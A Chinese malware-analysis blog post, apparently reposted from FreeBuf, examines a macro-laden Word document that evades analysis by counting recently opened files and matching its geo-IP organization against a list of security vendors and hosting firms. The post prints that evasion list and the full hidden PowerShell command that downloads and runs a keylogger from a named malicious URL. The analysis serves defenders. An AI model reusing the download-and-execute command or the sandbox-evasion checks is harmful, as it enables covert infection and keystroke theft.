这个恶意软件“奇葩”的反虚拟机技巧

最近,我分析到一个行为异常的恶意软件样本。由于很难发现该恶意软件的真实行为,所以我花了很多时间去调试分析。然而在分析过程中,又有多种因素会导致运行崩溃和异常。在此,我就发表了对该恶意软件反虚拟机的一些技术。

样本信息

恶意软件样本文件名为“Intelligent Software Solutions Inc.doc“,其SHA256值为:

048fc07fb94a74990d2d2b8e92c099f3f986af185c32d74c857b07f7fcce7f8e

以下是样本文件打开运行时的示例:

如果这看起来不太可疑,请看其代码视图:

这是一个经典的教科书式的WORD恶意软件,它没有实质内容,但包括了经过混淆的可执行代码,看上去非常简洁。

分析调查

从代码层面来看,顶部的分支程序像是程序的执行入口,很有可能是当WORD文档被打开后,点击“enable contenet” 执行Active X控件的操作,最终,程序会排错调用IuIxpP子程序。

技巧:

在子程序 IuIxpP中,分别调用了两个方法DKTxHE 和 qrNjY,并抛出不同的执行错误。

其中,DKTxHE 功能为:

RecentFiles对象表示系统最近打开过的历史文档。通常,安装了word程序的用户可能会打开超过2个或更多数量的文档。然而,当该恶意软件植入到新创建的虚拟机和word环境中后,总是状况不断,不能正常运行。每次测试时手动打开一两次,总是出现程序异常。即使是保存了虚拟机镜像状态,重启调试分析后,恶意程序仍然不能正常执行。

从DKTxHE函数功能可以看出,恶意软件以RecentFiles数量来判断是否身处VM环境中,如果在VM环境中,它将不会执行任何恶意行为,非常“聪明”。之后,我随意创建了3个不同名称的word文档,逐一打开并关闭,让历史文档数量为3,最终成功运行并检测到了恶意软件。

原因很明了,虚拟机环境一般缺乏多个Word文档,恶意程序通过探测最近打开的历史文档数量,判断是否处于VM环境中,如果在最近打开文档数量内发现只有3个以下的word文档,就会拒绝执行。

技巧:

在另一个子程序 qrNjY中,恶意软件通过探测IP信息来识别VM环境。首先,它通过向远程地址发出某种认证请求,

https://www.maxmind.com/geoip/v2.1/city/me

之后设置请求信息中的HTTP Refer属性和User-Agent值,访问链接:

https://www.maxmind.com/en/locate-my-ip-address

以此获取宿主系统的地址信息,如:

获取信息封装于JSON格式文件中,包含国家、城市、或者与IP相关的组织机构等信息。如:

{
  "location": {
    "latitude": 30.7858,
    "longitude": -102.1232,
    "metro_code": 705,
    "accuracy_radius": 5,
    "time_zone": "America/Los_Angeles"
  },
  "continent": {
    "names": {
      "ja": "北アメリカ",
      "pt-BR": "América do Norte",
      "de": "Nordamerika",
      "es": "Norteamérica",
      "ru": "Северная Америка",
      "fr": "Amérique du Nord",
      "zh-CN": "北美洲",
      "en": "North America"
    },
    "code": "NA",
    "geoname_id": 6255149
  },
  "city": {
    "names": {
      "pt-BR": "Oakland",
      "de": "Oakland",
      "es": "Oakland",
      "ja": "オークランド",
      "en": "Oakland",
      "ru": "Окленд",
      "fr": "Oakland",
      "zh-CN": "奥克兰"
    },
    "geoname_id": 5378538
  },
  "postal": {
    "code": "94619"
  },
  "country": {
    "names": {
      "ru": "США",
      "fr": "états-Unis",
      "zh-CN": "美国",
      "en": "United States",
      "ja": "アメリカ合衆国",
      "es": "Estados Unidos",
      "pt-BR": "Estados Unidos",
      "de": "USA"
    },
    "iso_code": "US",
    "geoname_id": 6252001
  },
  "traits": {
    "organization": "Comcast Cable",
    "isp": "Comcast Cable",
    "ip_address": "123.123.123.123",
    "autonomous_system_organization": "Comcast Cable Communications, LLC",
    "domain": "comcast.net",
    "autonomous_system_number": 7922
  },
  "registered_country": {
    "geoname_id": 6252001,
    "names": {
      "zh-CN": "美国",
      "ru": "США",
      "fr": "états-Unis",
      "en": "United States",
      "ja": "アメリカ合衆国",
      "pt-BR": "Estados Unidos",
      "de": "USA",
      "es": "Estados Unidos"
    },
    "iso_code": "US"
  },
  "subdivisions": [
    {
      "geoname_id": 5332921,
      "names": {
        "ru": "Калифорния",
        "fr": "Californie",
        "zh-CN": "加利福尼亚州",
        "en": "California",
        "ja": "カリフォルニア州",
        "pt-BR": "Califórnia",
        "es": "California",
        "de": "Kalifornien"
      },
      "iso_code": "CA"
    }
  ]
}

在以上示例文件中,IP信息的organization字段显示为美国Comcast宽带网络供应商。恶意软件发出访问请求后,获取到宿主系统的相关信息将存储于某个数组中。如果获取到的组织机构名称与以下JSON文件中的任何机构字符串匹配,恶意软件将发生异常并停止运行。

AmazonanonymousBitDefenderBlackOakComputersBlue CoatBlueCoatCiscocloudData CenterDataCenterDataCentrededicatedESET, SpolFireEyeForcePointFortinetHetznerhispeed.chhostedHostingIron PortIronPortLeaseWebMessageLabsMicrosoftMimeCastNForceOvh SasPalo AltoProofPointRackspacesecurityServerStrong TechnologiesTrend MicroTrendMicroTrustWaveVMVaultZscaler

当然,上述列表中的机构名称在代码中是经过混淆的:

以上信息表明,恶意程序通过检查,是否有网络服务商或杀毒软件公司相关的IP地址运行VM虚拟机对其进行调试分析,如果有,将停止运行。

PAYLOAD

如果恶意程序发现宿主系统有3个或以上的Word最近打开文档,将会执行远程下载解盘记录程序的PowerShell脚本:

powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -command $f=[System.IO.Path]::GetTempFileName();(New-Object System.Net.WebClient).DownloadFile('http://silkflowersdecordesign.com/admin/worddata.dat', $f);(New-Object -com WScript.Shell).Exec($f)

http://silkflowersdecordesign.com/admin/worddata.dat中涉及的worddata.dat是一个轻量级的键盘记录程序,SHA256为19d884d3b688abf8e284d3bc6a06817096d15592bcd73f85a0e4b79749f2a744。

其它

Researchers at Proofpoint 和Deepen Desai at zscaler两篇文章都对 anti-vm和anti-sandbox做了深入讨论,这些技术涉及到了不同种类的恶意软件,它们或许代表了VBA恶意软件的一种发展趋势。

当然,看雪论坛的一篇经典文章《虚拟机检测技术剖析》,也是非常值得学习的。

*参考来源:Sentinelone, *FB小编clouds编译,未经许可禁止转载

原文发布于微信公众号 - FreeBuf(freebuf)

原文发表时间:2016-09-30

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏FreeBuf

魔波广告恶意病毒简析

1.病毒介绍 魔波广告恶意病毒通过仿冒浏览器,播放器和一些游戏等进行传播,一旦用户手机不慎被感染,该病毒将立即下载提权文件来获取 root权限,频繁推送广告,监...

24650
来自专栏SAP最佳业务实践

SAP最佳业务实践:FI–总账(156)-5显示、对账

4.6 S_ALR_87012289显示简要凭证日记帐 简要凭证日记帐以表的形式为所选凭证显示凭证抬头和项目中最重要的数据。该清单可用作简要日记帐,并且与科目...

45570
来自专栏FreeBuf

Palo Alto Networks:新型恶意软件家族Reaver与SunOrcal存在一定联系

概要 Unit 42安全小组已经发现了一种新的恶意软件家族,并将其命名为“Reaver”。研究人员表示,这一新型恶意软件与在2016年针对中国台湾地区的黑客攻击...

26850
来自专栏王亚昌的专栏

WinPcap在无线局域网下的使用

    最近在做网关方面的项目,用到了WinPcap开发库去获得数据帧,这个开发库功能很强大,但是在无线局域网环境下使用时有一些不同,下面就WinPcap的使用...

14220
来自专栏玄魂工作室

RFID Hacking②:PM3入门指南

0x00 前言 Proxmark3是由Jonathan Westhues在做硕士论文中研究Mifare Classic时设计、开发的一款开源硬件,可以用于RF...

697110
来自专栏FreeBuf

Python勒索软件来袭,国产杀软集体失身

* 本文原创作者:降草,本文属FreeBuf原创奖励计划,未经许可禁止转载 近日,fortinet截获一种使用python语言编写的勒索软件,并将其命名为 ...

26990
来自专栏张戈的专栏

Shell+Curl网站健康状态检查脚本,抓出中国博客联盟失联站点

一开始搭建中国博客联盟,既有博友提醒我,做网址大全这类网站维护很麻烦,需要大量的精力去 Debug 一些已夭折的网站,更是拿松哥的博客大全举例。当然,我也是深以...

44970
来自专栏学海无涯

iOS开发之提取App的UI素材

在学习当中,有时候看到非常好的App,手痒的同学可能都想"临摹"一番,但是往往由于无法获取App的UI素材以致"功败垂成",今天就介绍一下如何快速提取App中的...

36590
来自专栏unlike

用paxos实现多副本日志系统--basic paxos部分

为了理解paxos协议,开始时看了好些资料,但始终没有理解透,直到我看了这个视频:http://v.youku.com/v_show/id_XNjgyODc3O...

1K70
来自专栏FreeBuf

主机应急响应与电子取证的经验分享

随着主机安全的问题日渐突显,挖矿勒索后门等病毒隐蔽手法越来越多种多样,仅仅依靠传统的安全工具不能完全查杀出相关恶意程序。安全事件具有突发性,复杂性与专业性,基于...

13220

扫码关注云+社区

领取腾讯云代金券